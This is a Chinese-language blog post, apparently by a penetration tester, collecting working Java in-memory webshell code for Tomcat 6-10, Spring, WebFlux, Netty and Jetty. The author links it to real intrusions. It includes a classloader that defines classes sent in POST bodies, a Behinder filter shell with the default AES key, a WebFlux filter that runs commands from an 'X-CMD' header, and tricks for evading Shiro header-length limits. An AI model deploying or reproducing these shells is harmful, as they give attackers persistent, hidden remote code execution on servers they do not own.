0%

Java内存马缝合笔记

Java内存马缝合笔记

之前渗透的时候遇到了一个java站,tomcat8跑的,能上传jsp,有shiro但是打不通(打通之后看了一眼无敌高版本)
jsp上传之后会急速被删,可以条件竞争去抢,这样子的话打一个内存马就是最稳整的,但是我是java垃圾捏,不会打,幸好天哥最后给了个现成的内存马
还有一个远古tomcat6的站,有一个jndi注入,最后也是靠whj好兄弟缝出来了一个tomcat6的回显打通,所以这波结束之后还是决定稍微学一下,就算不能懂原理,起码要缝出来一套能应对各个版本的内存马。。。以及遇到问题的时候起码有一套调试环境能排错

由于java水平有限,写出来的东西基本上都是从网上东拼西凑出来的,超级缝合怪,但是不得不说我缝合的水平真是越来越好了,因为感觉就大家的内存马理论都学得很好,我学点皮毛能用就行了,所以就叫缝合笔记8

3,2,1,开缝!

update:后来还是稍微多学了一点,所以还是也补一点理解上的东西。。。

回显

实际上要做的操作在本质上区别不大,都是找到web服务下的某个对象,然后修改其属性之类的。

回显的话就拿到request和response对象就可以了,所以操作起来简单一点,并且payload也短一些,在例如shiro等受到tomcat header长度7300(听说的)的限制下能使用的几率更大
当然网上现在缩短payload的方法也一搜一堆,用javassist去行号之类的。或者直接反射改tomcat的最大长度限制之类的也行

spring回显

(暂时使用spring指代spring mvc)
回显似乎存在着更加通用的手法,因为ctf中的环境spring mvc居多,所以之前大多是用一个springboot的祖传回显进行的,spring下的回显似乎很稳定,从org.springframework.web.context.request.RequestContextHolder类中获取request和response,网上都有现成的,直接复制粘贴就打通一切了。

spring mvc一般下层使用tomcat作为web服务器。

tomcat回显

tomcat下就稍微麻烦一些。jsp的话本来就有request和response对象,当然这也不能叫内存马了,就是直接的jsp木马,更多的是考虑反序列化等代码执行的情况下进行回显

这里有一个注意点,tomcat从10开始讲javax转变为jakarta,并不知道有什么意义,但是对应的包名都需要重新修改一遍。

网上流行的payload是一个经典的线程遍历,直接从currentThread往上拿到全部线程,然后一个个找线程拿到对应的request和response对象,据说这个操作是全版本通用的回显捏。后续的内存马操作有部分和这个类似,所以这里也就不着重讲

不过说到底这些并不是今天的重点,回显用一次打一次还是有些不方便,不如直接一发内存马打进去一直用

内存马

在开始内存马之前,需要先掌握一些内存马相关的知识

内存马的核心思路是在原有的http请求处理逻辑中添加进自己的逻辑,由于java的反射能够非常动态的修改数据,所以针对各种框架的内存马,其核心要点在于找到插入执行逻辑的对象,以及如何在当前上下文中访问到目标对象。
关于访问目标对象这一点,目前比较通用的办法是直接从线程中搜索(对jvm不是很熟,所以不能说出所有对象都能从线程中搜到这种大话,但是目前看到的内存马利用都可以通过从线程中搜索对应对象的方式取得目标对象)

我以前一直以为servlet,listener和filter这三个经典内存马注入点是针对tomcat的,后来才知道这个其实应该叫Java servlet规范,而tomcat只是实现这套规范的众多服务器的其中之一。除了tomcat,像weblogic,jetty,resin这些,还有一些我没怎么听说过的服务器,都是实现了java servlet规范的,因此,一个实现了servlet规范的filter,可以注入到各个实现了上述规范的服务器中,而注入不同种类的服务器的主要区别就是其存放这些变量的上下文不同,需要独立寻找。

当然,每个web服务器除了实现servlet规范外,同样也会有自己实现的其他逻辑,所以tomcat除了servlet一套外,也还可以注入valve,executor等内存马。

除此之外,我以前一直以为springboot也是一个web框架,独立于spring mvc来着。。。(后来才知道springboot应该是一个让用户快捷搭建web服务的框架,平常最常用的springboot拉起来的实际上还是spring mvc)

而spring mvc是web框架,运行在tomcat之上,spring mvc有着在tomcat上的独立一套逻辑处理流程,因此,spring mvc又有一套独立的controller,interceptor等利用。

我这里就研究了一下现在最流行的filter内存马。(也主要是不会添加额外路由,可能在waf层面流量上会稍微正常一点?)

这里贴一张在bcs 2024上看到的图,这个图的思路就有点清晰的(就是有点糊)

image-20240615162928471

spring内存马

因为spring本身内置了tomcat,所以tomcat内存马同样适用于spring应用,就能一键打通了

在开始之前稍微回顾一下打进去一个filter内存马需要的条件

  1. 一个恶意filter类,实现了自己的doFilter方法(用的时候需要把传入的ServletRequest转为HttpServletRequest才能使用,不然会出问题。。。)
  2. 一个当前应用的StandardContext
  3. 装载了恶意类的FilterDefFilterMapApplicationFilterConfig,然后把他们添加进StandardContext

基本上各种操作都是围绕着如何获取StandardContext展开的

讲道理,能打tomcat的内存马应该就能打spring,不过spring有自己的获取StandardContext的方法,所以可以单独写一版

但实际上,获取StandardContext的前一步一般是获取一个HttpServletRequest对象,进而从这个对象里面getSession().getServletContext();,而回显的时候就已经提到了,spring可以直接从一个类中拿到request对象。

接下来需要对ServletContext的context对象进行迭代,有可能直接是一个StandardContext,也可能还是一个ServletContext,如果是ServletContext的话就继续访问其context属性直到其是一个StandardContext,这里对StandardContext需要反复迭代,文末会讲到

Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", new Class[0]).invoke(null, new Object[0]);
HttpServletRequest request = (HttpServletRequest) requestAttributes.getClass().getMethod("getRequest", new Class[0]).invoke(requestAttributes, new Object[0]);
response = (HttpServletResponse) requestAttributes.getClass().getMethod("getResponse", new Class[0]).invoke(requestAttributes, new Object[0]);
final String name = "AutomneGreet";
ServletContext servletContext = request.getSession().getServletContext();

tomcat内存马

tomcat8-9

10也许也能用,只要把所有javax换成jakarta?但是感觉实战根本遇不上,也懒得下就没测
tomcat的话稍微麻烦一点点,不过如果是高版本其实会很简单,也可以直接从一个类中拿到

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot)getField(webappClassLoaderBase, "resources");
StandardContext standardContext = (StandardContext) resources.getContext();

这里的反射在低版本的tomcat下是不必要的,可以直接webappClassLoaderBase.getResouces().getContext(),印象里是之前出了个啥洞(好像是那个被吹得沸沸扬扬的tomcat+java9以上用module改日志配置写jsp的)好像用到了getResouces(),这个函数本身就是被废弃的函数,然后tomcat就顺手把这个函数的返回值变成null了,就没法用了,但是反射一下还是能拿到

后续同spring部分

tomcat7

这个就变得很麻烦。。。因为上述步骤中的这个StandardRoot在tomcat7里面是不存在的,也不能像jsp一样直接获取。使用的手法和上述tomcat回显操作一致,直接遍历线程,从线程里面拿request对象,再从request对象里面拿到context

拿到context之后后续仍同。

但tomcat7和8-9又有一个区别,他filterMap那一套的类名不一样,需要单独引入依赖编译。。。如果有耐心写一个超级全反射可能也行,但是我没这个耐心。。。

// tomcat7
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;

// tomcat 8-10
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

说起来当时写这个东西的时候就在怀疑,如果是反序列化之类的我这边类编译起来他那边会不会缺这个类进而失败呢?或者说有那种反序列化serializeUID之类的?后来想了一下,反序列化应该是直接templatesImpl执行类字节码,首先不会有反序列化的版本问题,然后这里用的都是对应版本的核心类,应该也不会出现缺类的问题。。
如果是scriptEngine或者JNDI注入的打法应该也是一个原理,无影响

tomcat6

我本来也不会考虑这种二十年前的玩意,但是这把就是遇到了,那也就只能考虑他了,他和7又有一点不同,因为他的filterDef的写法也不一样,内部的逻辑也有区别,由于只是缝合,所以没有太细看原理,缝起来能用就行,前半段还是用tomcat通用的request获取,后半段缝了别人的代码,测验通过可用。

所有文章都会放文末参考链接

tomcat 冰蝎内存马

更新的全新内容!
没事做刚好朋友调内存马遇到问题来问我,但是他做的比我高级,是shiro打冰蝎内存马,非常顶级,还给我分享了一个链接,是指在不出网情况下反序列化+内网代理怎么打,用的reGeorg做一个web端的http代理,同样是打进内存里。总之就是非常有意思,然后我也和他一起缝了起来

由于是shiro环境,有一个经典http header长度限制,默认8k,如果把CB1加冰蝎缝到一起会超长度(不知道用javassist嗯缩能不能缩进去),这里采用分离加载的方式,即只实现一个classloader,再用classloader加载注册冰蝎filter内存马的类

classloader

TomcatClassLoader的实现其实很简单,只需要把之前获取HttpServletRequest那段保留,然后后面的注册filter和内部filter类都删掉即可,从request中直接获取post参数的data,一键define class,不过这里就不让后续payload在static段中执行了,而是实例化一个对象出来,然后用equal方法传个参过去,这样子后续payload就不用再找一遍request对象了

    static {
        try {
            Object jioEndPoint = GetAcceptorThread();
            if (jioEndPoint != null) {
                Object object = getField(getField(jioEndPoint, "handler"), "global");

                ArrayList processors = (ArrayList) getField(object, "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();
                    Object req = getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)) {
                        continue;
                    }

                    // 使用方法为整一个实现了filter的类在equal方法中把自己注册到filter里面去,样例payload类位于Templates.Payload
                    HttpServletRequest request = (HttpServletRequest)Class.forName("org.apache.coyote.Request").getMethod("getNote", new Class[]{int.class}).invoke(req, 1);
                    String payload = request.getParameter("class");
                    byte[] classByte = Base64.getDecoder().decode(payload);
                    Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    defineClassMethod.setAccessible(true);
                    Class clazz = (Class) defineClassMethod.invoke(TomcatClassLoader.class.getClassLoader(), classByte, 0, classByte.length);
                    clazz.newInstance().equals(request);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

BehinderFilter

这个类需要完成两个功能,1. 继承filter类,实现自己的doFilter方法,2. 在equal方法中将自己注册到tomcat的filter上(在static段上注册自己也行)

先写equal方法,因为上述搜线程方案是tomcat7-9通用的,所以这里的实现也懒得整7和8/9分开的了,7与8/9的区别除了request的获取难度,就是FilterMapFilterDef两个类的完全限定名不一样,但实际上方法签名是一致的,所以可以通过全写反射来完成调用,实现一个equal方法接受上述classloader传过来的request对象,然后改一手反射

//            // 这五行的反射实现,可以直接兼容tomcat 7-9了
//            FilterDef filterDef = new FilterDef();
//            filterDef.setFilter(this);
//            filterDef.setFilterName(filterName);
//            filterDef.setFilterClass(this.getClass().getName());
//            standardContext.addFilterDef(filterDef);
            Class filterDefClass = null;
            try {
                filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
            } catch (ClassNotFoundException exception) {
                try {
                    filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
                } catch (ClassNotFoundException e) {
                    e.printStackTrace();
                }
            }

            Object o = this.getClass().newInstance();
            Object filterDef = filterDefClass.newInstance();
            Method setFilterMethod = filterDefClass.getMethod("setFilter", Filter.class);
            Method setFilterNameMethod = filterDefClass.getMethod("setFilterName", String.class);
            Method setFilterClassMethod = filterDefClass.getMethod("setFilterClass", String.class);
            setFilterMethod.invoke(filterDef, o);
            setFilterNameMethod.invoke(filterDef, filterName);
            setFilterClassMethod.invoke(filterDef, o.getClass().getName());
            Method addFilterDefMethod = standardContext.getClass().getMethod("addFilterDef", filterDefClass);
            addFilterDefMethod.invoke(standardContext, filterDef);

再实现doFilter,这里可以先放一个简单的回显测一下classloader+equal的组合有没有成功把filter注册上去。doFilter把冰蝎的马直接缝进来就完成一半了

不过直接缝会有几个小问题,requestsessionpageContext三个对象是jsp里面内置的,这里不能直接搞到。pageContext是冰蝎用来回显的,因为能快速的搞到request和response对象,同样用equal传参,因为equal能传object吧(大概)。
request和session很好搞,直接从ServletRequest强制类型转换一下就有,session再从request里面get一下就出来了,pageContext试着new了一下new不出来,要我实现一万个方法,后来在网上找到说冰蝎高一点的版本可以用hashMap里面放三个对象代替标准的pageContext,这样子就好搞了捏

接下来这个问题我没踩过坑,是网上的文章说有坑所以我直接缝了,冰蝎是自己定义了一个classloader类进行的define class,但是网上说这里缝一个内部类进来跑不起来,然后分析了一大堆,我感觉不太对,可能的问题和下文提到的坑中的javassist忽略内部类有关,但是templatesImpl能接受bytes二维数组,我这里defineClass不行,所以就改成反射直接调用defineClass,如下

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse) servletResponse;
        HttpSession session = request.getSession();
        HashMap pageContext = new HashMap();
        pageContext.put("request",request);
        pageContext.put("response",response);
        pageContext.put("session",session);
        if (request.getMethod().equals("POST")) {
            String k = "e45e329feb5d925b"; //密钥md5前16位,此为默认密钥rebeyond
            session.putValue("u", k);
            Cipher c = null;
            try {
                c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClassMethod.setAccessible(true);
                byte[] classBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class clazz = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(),classBytes , 0, classBytes.length);
                clazz.newInstance().equals(pageContext);

            } catch (Exception e) {
                e.printStackTrace();
            }
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

缝合大成功!一键打通,并且TomcatClassloader shiro加密一下的长度在7k2左右,刚好在允许范围内,工具++

需注意post发送的数据中base64会产生加号,加号需要替换成%2b,不然发过去加号会被认为是空格,但是rememberMe中的加号就不需要替换

webflux内存马

webflux是一套异步非阻塞的框架,与mvc不同。mvc对应每个请求需要创建独立线程然后阻塞的完成,而webflux则可以将请求的处理过程拆分成不同的pipeline,在不同的线程中分别处理各个环节,提高吞吐量。(但是网上稍微看了点基础用法之后并没有理解怎么用。。。先大概看个概念8。。。)

区别于spring mvc,webflux使用netty作为底层服务器。因此,webflux的内存马就会走到和spring mvc完全不同的方向。不过做法早就已经明晰了,找到各自的处理逻辑处添加自己的逻辑即可。所以这里也不会做太多讲解,主打一个缝合。

webflux在其自己的处理逻辑中,存在webFilter这么一个和servlet filter表现差不多的对象,所以这就是我们注入内存马的目标。
网上看资料的时候,发现大部分作者都提到,这里虽然添加的是filter内存马,但是不能直接找个地方加一个filter进去,而是需要在chain上创建一个自己的chain,chain中放自己的filter。作者的解释是这里的chain并不是完整的链,而是一个link。这话说的也太抽象了,谁知道这个link指的是什么。

手动调了一下,发现其实是这么个事。这个名为DefaultWebFilterChain的对象实际上是链表上的一个node,其存在一个chain属性指向链表的下一个节点(也就是next),还有一个属性叫currentFilter,是当前node需要处理的filter,标准的链表结构。

但是这个node(DefaultWebFilterChain对象),还有一个属性叫allFilters,存着整个链表上的所有filter,加上名字叫chain,给了人错误的思路。
可以从这张图里看到,其实是一个标准的链表
image-20240608163839073

所以想要加自己的链就等于得往原来的链表里塞一个头,不仅要把现在链表的allFilters改掉,还得让在最前面加入一个。这里可以看到,每个node中存的allFilters还是不一样的对象,是一份原对象的拷贝。所以这么操作难度太高,可以往回看一下DefaultWebFilterChain是怎么构造的,发现是有一个现成的构造函数,传入allFilters和handler即可,故可从原chain中取出handle和filters,添加自己的一位后重新new一个对象出来塞回去,免去复杂操作(不得不说他这个new的写法还挺精妙的。。。)

image-20240608164832727

具体的利用细节可以继续看文末参考链接(
这边怎么样从线程里搜对象,怎么样把filter注册上去,看其他人写的具体分析会更好,我这里就贴一下filter的具体内容,尝试对webflux的工作方式进行简单的理解

    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        String cmd = exchange.getRequest().getHeaders().getFirst("X-CMD");
        if (cmd != null) {
            return exchange.getResponse().writeWith(Mono.fromCallable(() -> {
                String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                return dataBufferFactory.wrap(result.getBytes());
            }).subscribeOn(Schedulers.boundedElastic()).onErrorResume(e -> Mono.error(new RuntimeException("Error executing command: " + e.getMessage()))));
        }
        return chain.filter(exchange);
    }

这里对于exec这个同步操作,需要用subscribeOn去异步一下。大概这就是webflux这种异步的核心8。但是总觉得有一种写js链式操作的感觉,说起来好像js也是eventloop事件驱动的异步,是不是突然理解了?
另,参考文章的filter没有对是否有命令增加判断,导致内存马打上去之后如果没有命令就返回空白页了,有点危险

netty内存马

大部分的Java http服务器都实现了servlet规范,使得对其注入内存马,只需要找到其web app context基本上就能解决,而netty实际上并不是一个http服务器,感觉定位上是一个tcp层服务器,所以其内存马的注入点需要独立寻找。

当然会有高手帮我找到,我直接复制粘贴

不像常规的中间件,filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer),因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。

然后随便找个搜线程的代码然后缝上去就行了,不过有人提到这个操作依赖于netty对http协议的解析,毕竟前面有提到过netty并不是纯http服务器,不过web一般来说打的也是http服务咯。不是http服务也轮不到我打(
不过确实从netty内存马的代码上看就能看出来这不太像是web层面的处理位置,执行代码时的响应都是要自己手搓http协议完成

jetty内存马

jetty和netty是两个东西,虽然看起来长挺像,jetty应该更对标tomcat,是一个轻量级的web服务器,而netty则是一个高吞吐量异步服务器,运行在tcp层,可以做超出web服务以外的服务。

似乎之前有被问过有没有研究过jetty内存马,我当时直截了当的答了不会(

一开始完全没理解这个东西的环境怎么搭起来,去网上找了各种各样的demo,由于开发这块我只会spring mvc,所以上层框架只能选springmvc。有远古配置靠web.xml嗯配的,还有maven配奇怪属性直接从maven启动的,问chatgpt直接给我来了个在main函数里手动配各种参数运行的(反正最后都没跑起来,并且开发习惯也和我平常的不一样)
最后找到了一个非常先进且直观的例子,直接在pom里排除tomcat依赖替换成jetty即可,代码完全不用动,直接走原springboot即可,爽。

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <!-- Exclude the Tomcat dependency -->
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-tomcat</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <!-- Use Jetty instead -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-jetty</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

然后在复现内存马的时候发现,这种springboot embed的jetty和传统部署环境不一样,网上的方法是没法直接访问到需要的对象的。然后自己临时学了一下。。。

先想办法从线程里面搜到目标对象,jetty filter内存马的话需要的是一个servletHandler对象,这个对象在WebAppContext下,用的java-object-searcher,搜出来这么个路径

TargetObject = {java.lang.Thread}
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
    ---> [2] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
     ---> value = {org.eclipse.jetty.webapp.WebAppContext$Context}
      ---> this$0 = {org.springframework.boot.web.embedded.jetty.JettyEmbeddedWebAppContext}

这里的对象是springboot包下的JettyEmbeddedWebAppContext,所以觉得就是springboot内嵌部署导致的互联网上的方法搜不到。

后续的操作和tomcat的filter有点像,也是添加filterMapping,不过在网上找到了各种各样的实现,有直接往filterPathMappings里添加的,这个我本地试了下能添加进去,但是跑的时候不会触发,懒得细调。然后还有su18的走org.eclipse.jetty.servlet.Source去创建filterHolder去添加的,这个反射开了accessable也报错private不能动的,感到困惑。
最后找了个直接调用addFilterWithMapping,用filter类和路径直接注册一个上去通了

从这里也能看出,即使是使用奇怪方式部署的jetty,其实现servlet规范,还是只要找到对应插入filter的方法,各种奇怪的部署方式也能成功打穿

(本来还想再缝一个weblogic内存马出来的,但是最近有点忙,就算了)

websocket内存马

这个是逛街的时候看到的奇怪内存马,像上述的内存马,注入在常见的filter/servlet等位置,往里面添加了一个对象,使得防守方只要对目标位置进行扫描,发现存在异常对象就会直接检测,而websocket 内存马对应的servlet会在服务器启动时自行注册,添加一个websocket端点并不会导致新的servlet对象产生(但是总会在其他地方添加一个websocket对象。。。)在一定程度上提升了隐蔽性。
这个东西也是java的一个规范,估摸着实现servlet规范的一众服务器应该也都能用

踩过的怪坑

IDEA调试环境

之前一直只是手动建立一个webapp然后配好tomcat开始跑,但是由于没有引入依赖,IDEA里面一片红,调试也很麻烦,专门找了一下怎么调试,记录一下

建立JSP项目

右键左侧边栏最顶上的项目名,有一个Add Frameworks Support,选web Application就能天加一个web app项目,然后直接在右上角的config里面添加tomcat,会有一个报错,点fix就能解决

但是这个时候红字是拉满的,request对象都不认识的那种。虽然能跑了,但是IDEA不认识,只能在jsp代码里下断点,其他的地方都去不了。为了调试就需要引入依赖,并且要测反序列化能不能打肯定也要引入CC链,在Project Structure里面选择modules,右边dependencies添加,第一个是引入jar包,可以手动引入CC之类的依赖,第二个是library,就是能引入代码让IDEA调试,添加你的tomcat就能用了,基本上红字消除一半,剩下的一半是因为idea默认的tomcat的lib里只有两个jar包,双击添加的tomcat依赖,直接把tomcat下的lib文件夹整个作为依赖就没有红字了,并且接下来的调试也是为所欲为所欲为所欲为,吴迪。好像配的有问题的时候problem那里也会显示,没事多点点也许就解决了。idea真不错啊

springboot调试

这个简单,springboot本身就内嵌了tomcat,maven项目一把梭就行了,但是感觉想更改内嵌的tomcat版本就很玄幻。。。从网上找的pom里面添加一个tomcat.version,只能把小版本变一下,把tomcat9换成8就歇逼了。

好像能改springboot版本更改其内嵌的tomcat,不过估计也就换到8,懒得整了

javassist处理内部类

TemplatesImpl是通过defineClass加载类字节码执行里面的static字段实现命令执行的,然而我们在这里定义了一个自己构造的Filter内部类,直接用javassist获取字节码的时候是会忽略这个内部类的。。。。所以没有这个内部类的话payload跑起来会报一个类找不到的错误,怎么打都打不通。专门搜了下,javassist有专门的获取内部类字节码的方法,而TemplatesImpl的bytecode本身就是一个二维数组,支持多个类的定义,这里先把内部类放前面先定义,再触发恶意类的payload即可

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClazz = pool.get(TomcatFilter6.class.getName());
        CtClass[] nestedClazz = ctClazz.getNestedClasses();
        byte[][] targetBytes = new byte[1 + nestedClazz.length][];
        // 内存马里面定义了自己写的类,内部类得单独拿出来处理,应该还得在payload实例化前先定义,不然到时候要用的时候找不到定义
        for (int i = 0; i < nestedClazz.length; i++) {
            targetBytes[i] = nestedClazz[i].toBytecode();
        }
        byte[] classBytes = ctClazz.toBytecode();
        targetBytes[targetBytes.length - 1] = classBytes;

另一种写法是让自己的payload类同时extends AbstractTransletimplement Filter,同时实现两个类的方法,然后Filter实例化的时候直接实例化自己。不过两个方法payload长度没啥变化,都可行吧

类字段获取不到

因为tomcat和spring和jsp环境不同 ,不同情况下拿到的对象好像基础套的层数也不一样,反射getDeclaredField会经常拿不到对应对象,看了下文档才知道,getField可以获得公开的字段,包括继承下来的,而getDeclaredField虽然可以拿私有字段,但是不能拿到继承的字段,这样子就只能getSuperClass往上找,但是你也不知道要找几层,主要还是不同环境下套的层数可能有差异,所以还是得专门写个方法来处理一下

    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {
                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

StandardContext获取不到

也是上述类似问题,从ServletContext中不知道要几层才能拿到StandardContext,所以也套一个for循环

StandardContext standardContext = null;
while (standardContext == null) {
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    Object o = field.get(servletContext);
    if (o instanceof ServletContext) {
        servletContext = (ServletContext) o;
    } else if (o instanceof StandardContext) {
        standardContext = (StandardContext) o;
    }
}

长度限制下的内存马

比如shiro这种是header长度限制的情况,比较常见的做法是走一个classloader,从body等其他位置加载恶意类,在恶意类的static块中实现将自身作为内存马注册上去的内容。对于tomcat而言,因为standardContext是从HttpServletRequest中拿到的,如果是想从http的其他字段获取内存马payload,即使是让内存马自行加载自身,loader中也会重复出现从线程中搜变量的代码。当然,也有反射改tomcat长度限制的,不过我没试过(。

然而,部分情况下可能是中间件不允许传输这么长的数据(包括body),这种情况下就可以考虑分片的方式打内存马。将内存马的payload再分成base64的几份,分别加载进去,最后一个loader把之前的取出来拼起来。(但是如果出网的话直接loader远程拉就好了,不过遇到的奇怪java环境经常会套上不出网的buff。。。)

参考链接

tomcat6、7、8、9内存马
Java内存马:一种Tomcat全版本获取StandardContext的新方法
JavaWeb 内存马一周目通关攻略
Tomcat Servlet-Api内存马总结及代码实现
利用shiro反序列化注入冰蝎内存马
Java代码执行漏洞中类动态加载的应用
冰蝎改造之不改动客户端=>内存马
内存马系列 Netty/WebFlux 内存马
Spring cloud gateway通过SPEL注入内存马
这里面还提到了高版本jdk的module控制在任意代码执行的情况下可以用unsafe去强行访问
一种在高版本JDK下 的新型嵌入式Jetty Customizer内存马实现
LearnJavaMemshellFromZero
su18/MemoryShell
Jetty 内存马注入分析
WebSocket 内存马,一种新型内存马技术
wsMemShell